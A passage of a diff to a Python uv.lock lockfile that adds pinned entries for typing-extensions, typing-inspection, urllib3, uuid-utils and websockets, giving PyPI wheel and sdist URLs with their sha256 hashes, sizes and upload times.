"sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.14.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7b/d1/38a573f0c631c062cf42fa1f5d021d4dd3c31fb23e4376e4b56b0c9fbbed/uuid_utils-0.14.1.tar.gz", hash = "sha256:9bfc95f64af80ccf129c604fb6b8ca66c6f256451e32bc4570f760e4309c9b69", size = 22195, upload-time = "2026-02-20T22:50:38.833Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/43/b7/add4363039a34506a58457d96d4aa2126061df3a143eb4d042aedd6a2e76/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:93a3b5dc798a54a1feb693f2d1cb4cf08258c32ff05ae4929b5f0a2ca624a4f0", size = 604679, upload-time = "2026-02-20T22:50:27.469Z" }, + { url = "https://files.pythonhosted.org/packages/dd/84/d1d0bef50d9e66d31b2019997c741b42274d53dde2e001b7a83e9511c339/uuid_utils-0.14.1-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:ccd65a4b8e83af23eae5e56d88034b2fe7264f465d3e830845f10d1591b81741", size = 309346, upload-time = "2026-02-20T22:50:31.857Z" }, + { url = "https://files.pythonhosted.org/packages/ef/ed/b6d6fd52a6636d7c3eddf97d68da50910bf17cd5ac221992506fb56cf12e/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b56b0cacd81583834820588378e432b0696186683b813058b707aedc1e16c4b1", size = 344714, upload-time = "2026-02-20T22:50:42.642Z" }, + { url = "https://files.pythonhosted.org/packages/a8/a7/a19a1719fb626fe0b31882db36056d44fe904dc0cf15b06fdf56b2679cf7/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb3cf14de789097320a3c56bfdfdd51b1225d11d67298afbedee7e84e3837c96", size = 350914, upload-time = "2026-02-20T22:50:36.487Z" }, + { url = "https://files.pythonhosted.org/packages/1d/fc/f6690e667fdc3bb1a73f57951f97497771c56fe23e3d302d7404be394d4f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:60e0854a90d67f4b0cc6e54773deb8be618f4c9bad98d3326f081423b5d14fae", size = 482609, upload-time = "2026-02-20T22:50:37.511Z" }, + { url = "https://files.pythonhosted.org/packages/54/6e/dcd3fa031320921a12ec7b4672dea3bd1dd90ddffa363a91831ba834d559/uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6743ba194de3910b5feb1a62590cd2587e33a73ab6af8a01b642ceb5055862", size = 345699, upload-time = "2026-02-20T22:50:46.87Z" }, + { url = "https://files.pythonhosted.org/packages/04/28/e5220204b58b44ac0047226a9d016a113fde039280cc8732d9e6da43b39f/uuid_utils-0.14.1-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:043fb58fde6cf1620a6c066382f04f87a8e74feb0f95a585e4ed46f5d44af57b", size = 372205, upload-time = "2026-02-20T22:50:28.438Z" }, + { url = "https://files.pythonhosted.org/packages/c7/d9/3d2eb98af94b8dfffc82b6a33b4dfc87b0a5de2c68a28f6dde0db1f8681b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c915d53f22945e55fe0d3d3b0b87fd965a57f5fd15666fd92d6593a73b1dd297", size = 521836, upload-time = "2026-02-20T22:50:23.057Z" }, + { url = "https://files.pythonhosted.org/packages/a8/15/0eb106cc6fe182f7577bc0ab6e2f0a40be247f35c5e297dbf7bbc460bd02/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:0972488e3f9b449e83f006ead5a0e0a33ad4a13e4462e865b7c286ab7d7566a3", size = 625260, upload-time = "2026-02-20T22:50:25.949Z" }, + { url = "https://files.pythonhosted.org/packages/3c/17/f539507091334b109e7496830af2f093d9fc8082411eafd3ece58af1f8ba/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:1c238812ae0c8ffe77d8d447a32c6dfd058ea4631246b08b5a71df586ff08531", size = 587824, upload-time = "2026-02-20T22:50:35.225Z" }, + { url = "https://files.pythonhosted.org/packages/2e/c2/d37a7b2e41f153519367d4db01f0526e0d4b06f1a4a87f1c5dfca5d70a8b/uuid_utils-0.14.1-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:bec8f8ef627af86abf8298e7ec50926627e29b34fa907fcfbedb45aaa72bca43", size = 551407, upload-time = "2026-02-20T22:50:44.915Z" }, + { url = "https://files.pythonhosted.org/packages/65/36/2d24b2cbe78547c6532da33fb8613debd3126eccc33a6374ab788f5e46e9/uuid_utils-0.14.1-cp39-abi3-win32.whl", hash = "sha256:b54d6aa6252d96bac1fdbc80d26ba71bad9f220b2724d692ad2f2310c22ef523", size = 183476, upload-time = "2026-02-20T22:50:32.745Z" }, + { url = "https://files.pythonhosted.org/packages/83/92/2d7e90df8b1a69ec4cff33243ce02b7a62f926ef9e2f0eca5a026889cd73/uuid_utils-0.14.1-cp39-abi3-win_amd64.whl", hash = "sha256:fc27638c2ce267a0ce3e06828aff786f91367f093c80625ee21dad0208e0f5ba", size = 187147, upload-time = "2026-02-20T22:50:45.807Z" }, + { url = "https://files.pythonhosted.org/packages/d9/26/529f4beee17e5248e37e0bc17a2761d34c0fa3b1e5729c88adb2065bae6e/uuid_utils-0.14.1-cp39-abi3-win_arm64.whl", hash = "sha256:b04cb49b42afbc4ff8dbc60cf054930afc479d6f4dd7f1ec3bbe5dbfdde06b7a", size = 188132, upload-time = "2026-02-20T22:50:41.718Z" }, + { url = "https://files.pythonhosted.org/packages/91/f9/6c64bdbf71f58ccde7919e00491812556f446a5291573af92c49a5e9aaef/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b197cd5424cf89fb019ca7f53641d05bfe34b1879614bed111c9c313b5574cd8", size = 591617, upload-time = "2026-02-20T22:50:24.532Z" }, + { url = "https://files.pythonhosted.org/packages/d0/f0/758c3b0fb0c4871c7704fef26a5bc861de4f8a68e4831669883bebe07b0f/uuid_utils-0.14.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:12c65020ba6cb6abe1d57fcbfc2d0ea0506c67049ee031714057f5caf0f9bc9c", size = 303702, upload-time = "2026-02-20T22:50:40.687Z" }, + { url = "https://files.pythonhosted.org/packages/85/89/d91862b544c695cd58855efe3201f83894ed82fffe34500774238ab8eba7/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b5d2ad28063d422ccc2c28d46471d47b61a58de885d35113a8f18cb547e25bf", size = 337678, upload-time = "2026-02-20T22:50:39.768Z" }, + { url = "https://files.pythonhosted.org/packages/ee/6b/cf342ba8a898f1de024be0243fac67c025cad530c79ea7f89c4ce718891a/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da2234387b45fde40b0fedfee64a0ba591caeea9c48c7698ab6e2d85c7991533", size = 343711, upload-time = "2026-02-20T22:50:43.965Z" }, + { url = "https://files.pythonhosted.org/packages/b3/20/049418d094d396dfa6606b30af925cc68a6670c3b9103b23e6990f84b589/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50fffc2827348c1e48972eed3d1c698959e63f9d030aa5dd82ba451113158a62", size = 476731, upload-time = "2026-02-20T22:50:30.589Z" }, + { url = "https://files.pythonhosted.org/packages/77/a1/0857f64d53a90321e6a46a3d4cc394f50e1366132dcd2ae147f9326ca98b/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1dbe718765f70f5b7f9b7f66b6a937802941b1cc56bcf642ce0274169741e01", size = 338902, upload-time = "2026-02-20T22:50:33.927Z" }, + { url = "https://files.pythonhosted.org/packages/ed/d0/5bf7cbf1ac138c92b9ac21066d18faf4d7e7f651047b700eb192ca4b9fdb/uuid_utils-0.14.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:258186964039a8e36db10810c1ece879d229b01331e09e9030bc5dcabe231bd2", size = 364700, upload-time = "2026-02-20T22:50:21.732Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/74/221f58decd852f4b59cc3354cccaf87e8ef695fede361d03dc9a7396573b/websockets-16.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:04cdd5d2d1dacbad0a7bf36ccbcd3ccd5a30ee188f2560b7a62a30d14107b31a", size = 177343, upload-time = "2026-01-10T09:22:21.28Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/22ef6107ee52ab7f0b710d55d36f5a5d3ef19e8a205541a6d7ffa7994e5a/websockets-16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8ff32bb86522a9e5e31439a58addbb0166f0204d64066fb955265c4e214160f0", size = 175021, upload-time = "2026-01-10T09:22:22.696Z" }, + { url = "https://files.pythonhosted.org/packages/10/40/904a4cb30d9b61c0e278899bf36342e9b0208eb3c470324a9ecbaac2a30f/websockets-16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:583b7c42688636f930688d712885cf1531326ee05effd982028212ccc13e5957", size = 175320, upload-time = "2026-01-10T09:22:23.94Z" }, + { url = "https://files.pythonhosted.org/packages/9d/2f/4b3ca7e106bc608744b1cdae041e005e446124bebb037b18799c2d356864/websockets-16.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7d837379b647c0c4c2355c2499723f82f1635fd2c26510e1f587d89bc2199e72", size = 183815, upload-time = "2026-01-10T09:22:25.469Z" }, + { url = "https://files.pythonhosted.org/packages/86/26/d40eaa2a46d4302becec8d15b0fc5e45bdde05191e7628405a19cf491ccd/websockets-16.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df57afc692e517a85e65b72e165356ed1df12386ecb879ad5693be08fac65dde", size = 185054, upload-time = "2026-01-10T09:22:27.101Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ba/6500a0efc94f7373ee8fefa8c271acdfd4dca8bd49a90d4be7ccabfc397e/websockets-16.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2b9f1e0d69bc60a4a87349d50c09a037a2607918746f07de04df9e43252c77a3", size = 184565, upload-time = "2026-01-10T09:22:28.293Z" }, + { url = "https://files.pythonhosted.org/packages/04/b4/96bf2cee7c8d8102389374a2616200574f5f01128d1082f44102140344cc/websockets-16.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:335c23addf3d5e6a8633f9f8eda77efad001671e80b95c491dd0924587ece0b3", size = 183848, upload-time = "2026-01-10T09:22:30.394Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/81f40fb00fd125357814e8c3025738fc4ffc3da4b6b4a4472a82ba304b41/websockets-16.0-cp310-cp310-win32.whl", hash = "sha256:37b31c1623c6605e4c00d466c9d633f9b812ea430c11c8a278774a1fde1acfa9", size = 178249, upload-time = "2026-01-10T09:22:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5f/7e40efe8df57db9b91c88a43690ac66f7b7aa73a11aa6a66b927e44f26fa/websockets-16.0-cp310-cp310-win_amd64.whl", hash = "sha256:8e1dab317b6e77424356e11e99a432b7cb2f3ec8c5ab4dabbcee6add48f72b35", size = 178685, upload-time = "2026-01-10T09:22:33.345Z" }, + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = "2026-01-10T09:23:27.033Z" }, + { url = "https://files.pythonhosted.org/packages/e5/2d/7583b30208b639c8090206f95073646c2c9ffd66f44df967981a64f849ad/websockets-16.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:50f23cdd8343b984957e4077839841146f67a3d31ab0d00e6b824e74c5b2f6e8", size = 185331, upload-time = "2026-01-10T09:23:28.259Z" }, + { url = "https://files.pythonhosted.org/packages/45/b0/cce3784eb519b7b5ad680d14b9673a31ab8dcb7aad8b64d81709d2430aa8/websockets-16.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:152284a83a00c59b759697b7f9e9cddf4e3c7861dd0d964b472b70f78f89e80e", size = 186501, upload-time = "2026-01-10T09:23:29.449Z" }, + { url = "https://files.pythonhosted.org/packages/19/60/b8ebe4c7e89fb5f6cdf080623c9d92789a53636950f7abacfc33fe2b3135/websockets-16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:bc59589ab64b0022385f429b94697348a6a234e8ce22544e3681b2e9331b5944", size = 186062, 